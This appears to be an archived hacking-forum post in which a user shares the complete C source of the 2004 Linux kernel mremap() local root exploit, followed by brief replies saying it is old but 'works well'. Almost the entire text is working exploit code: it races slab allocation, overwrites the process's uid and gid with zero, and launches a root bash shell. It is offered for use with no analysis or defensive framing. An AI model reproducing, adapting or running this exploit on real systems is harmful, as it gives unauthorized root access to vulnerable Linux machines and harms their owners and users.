hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Nexcess
CODE


/*
* Linux kernel mremap() bound checking bug exploit.
*
* Bug found by Paul Starzetz <paul isec pl>
*
* Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>

#include <asm/page.h>

#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2

#define str(s)  #s
#define xstr(s) str(s)

#define DSIGNAL  SIGCHLD
#define CLONEFL  (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
#define PAGEADDR 0x2000

#define RNDINT  512

#define NUMVMA  (3 * 5 * 257)
#define NUMFORK  (17 * 65537)

#define DUPTO  1000
#define TMPLEN  256

#define __NR_sys_mremap 163

_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
new_len,
   unsigned long flags, unsigned long new_addr);


static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
gid;
static volatile int *vma_ro, *vma_rw, *tmp;
static volatile unsigned fake_file[16];


void fatal(const char * msg)
{
printf("\n");
if (!errno) {
 fprintf(stderr, "FATAL: %s\n", msg);
} else {
 perror(msg);
}

printf("\nentering endless loop");
fflush(stdout);
fflush(stderr);
while (1) pause();
}

void kernel_code(void * file, loff_t offset, int origin)
{
int i, c;
int *v;

if (!file)
 goto out;

__asm__("movl %%esp, %0" : : "m" (c));

c &= 0xffffe000;
v = (void *) c;

for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
 if (v[i] == uid && v[i+1] == uid) {
  i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
 }
 if (v[i] == gid) {
  v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
  break;
 }
}
out:
dummy++;
}

void try_to_exploit(void)
{
int v = 0;

v += fops[0];
v += fake_file[0];

kernel_code(0, 0, v);
lseek(DUPTO, 0, SEEK_SET);

if (geteuid()) {
 printf("\nFAILED uid!=0"); fflush(stdout);
 errno =- ENOSYS;
 fatal("uid change");
}

printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);

kill(ppid, SIGUSR1);
setresuid(0, 0, 0);
sleep(1);

printf("\n\n"); fflush(stdout);

execl("/bin/bash", "bash", NULL);
fatal("burp");
}

void cleanup(int v)
{
victim[DUPTO] = victim[0];
kill(0, SIGUSR2);
}


void redirect_filp(int v)
{
printf("\n[!] parent check race... "); fflush(stdout);

if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
 printf("SUCCESS, cought SLAB page!"); fflush(stdout);
 victim[DUPTO] = (unsigned) & fake_file;
 signal(SIGUSR1, &cleanup);
 kill(pid, SIGUSR1);
} else {
 printf("FAILED!");
}
fflush(stdout);
}

int get_slab_objs(void)
{
FILE * fp;
int c, d, u = 0, a = 0;
static char line[TMPLEN], name[TMPLEN];

fp = fopen("/proc/slabinfo", "r");
if (!fp)
 fatal("fopen");

fgets(name, sizeof(name) - 1, fp);
do {
 c = u = a =- 1;
 if (!fgets(line, sizeof(line) - 1, fp))
  break;
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
} while (strcmp(name, "size-4096"));

fclose(fp);

return c == 7 ? a - u : -1;
}

void unprotect(int v)
{
int n, c = 1;

*victim = 0;
printf("\n[+] parent unprotected PTE "); fflush(stdout);

dup2(0, 2);
while (1) {
 n = get_slab_objs();
 if (n < 0)
  fatal("read slabinfo");
 if (n > 0) {
  printf("\n    depopulate SLAB #%d", c++);
  blah = 0; kill(hpid, SIGUSR1);
  while (!blah) pause();
 }
 if (!n) {
  blah = 0; kill(hpid, SIGUSR1);
  while (!blah) pause();
  dup2(0, DUPTO);
  break;
 }
}

signal(SIGUSR1, &redirect_filp);
kill(pid, SIGUSR1);
}

void cleanup_vmas(void)
{
int i = NUMVMA;

while (1) {
 tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
   MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
 if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
  printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
  fatal("unmap1");
 }
 i--;
 if (!i)
  break;

tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
   MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
  printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
  fatal("unmap2");
 }
 i--;
 if (!i)
  break;
}
}

void catchme(int v)
{
blah++;
}

void exitme(int v)
{
_exit(0);
}

void childrip(int v)
{
waitpid(-1, 0, WNOHANG);
}

void slab_helper(void)
{
signal(SIGUSR1, &catchme);
signal(SIGUSR2, &exitme);
blah = 0;

while (1) {
 while (!blah) pause();

 blah = 0;
 if (!fork()) {
  dup2(0, DUPTO);
  kill(getppid(), SIGUSR1);
  while (1) pause();
 } else {
  while (!blah) pause();
  blah = 0; kill(ppid, SIGUSR2);
 }
}
exit(0);
}

int main(void)
{
int i, r, v, cnt;
time_t start;

srand(time(NULL) + getpid());
ppid = getpid();
uid = getuid();
gid = getgid();

hpid = fork();
if (!hpid)
 slab_helper();

fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
  MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (fops == MAP_FAILED)
 fatal("mmap fops VMA");
for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
 fops[i] = (unsigned)&kernel_code;
for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
 fake_file[i] = (unsigned)fops;

vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (vma_ro == MAP_FAILED)
 fatal("mmap1");

vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (vma_rw == MAP_FAILED)
 fatal("mmap2");

cnt = NUMVMA;
while (1) {
 r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
 if (r == (-1)) {
  printf("\n[-] ERROR remapping"); fflush(stdout);
  fatal("remap1");
 }
 cnt--;
 if (!cnt) break;

 r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
 if (r == (-1)) {
  printf("\n[-] ERROR remapping"); fflush(stdout);
  fatal("remap2");
 }
 cnt--;
 if (!cnt) break;
}

victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
  MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (victim != (void *) PAGEADDR)
 fatal("mmap victim VMA");

v = *victim;
*victim = v + 1;

signal(SIGUSR1, &unprotect);
signal(SIGUSR2, &catchme);
signal(SIGCHLD, &childrip);
printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
start = time(NULL);

cnt = NUMFORK;
v = 0;
while (1) {
 cnt--;
 v--;
 dummy += *victim;

 if (cnt > 1) {
  __asm__(
  "pusha    \n"
  "movl %1, %%eax   \n"
  "movl $("xstr(CLONEFL)"), %%ebx \n"
  "movl %%esp, %%ecx  \n"
  "movl $120, %%eax  \n"
  "int  $0x80   \n"
  "movl %%eax, %0   \n"
  "popa    \n"
  : : "m" (pid), "m" (dummy)
  );
 } else {
  pid = fork();
 }

 if (pid) {
  if (v <= 0 && cnt > 0) {
   float eta, tm;
   v = rand() % RNDINT / 2 + RNDINT / 2;
   tm = eta = (float)(time(NULL) - start);
   eta *= (float)NUMFORK;
   eta /= (float)(NUMFORK - cnt);
   printf("\r\t%u of %u [ %u %%  ETA %6.1f s ]          ",
   NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
   fflush(stdout);
  }
  if (cnt) {
   waitpid(pid, 0, 0);
   continue;
  }
  if (!cnt) {
   while (1) {
     r = wait(NULL);
     if (r == pid) {
    cleanup_vmas();
    while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
     }
   }
  }
 }

 else {
  cleanup_vmas();

  if (cnt > 0) {
   _exit(0);
  }

 printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
  sleep(1);

  signal(SIGUSR1, &catchme);
  munmap(0, PAGE_SIZE);
  dup2(0, 2);
  blah = 0; kill(ppid, SIGUSR1);
  while (!blah) pause();

  munmap((void *)victim, PAGE_SIZE);
  dup2(0, DUPTO);

  blah = 0; kill(ppid, SIGUSR1);
  while (!blah) pause();
  try_to_exploit();
  while (1) pause();
 }
}
return 0;
}



Thought someone might get some use from this.
-Nexy
atomix
kinda old news
raif
yeah...but it works well smile.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.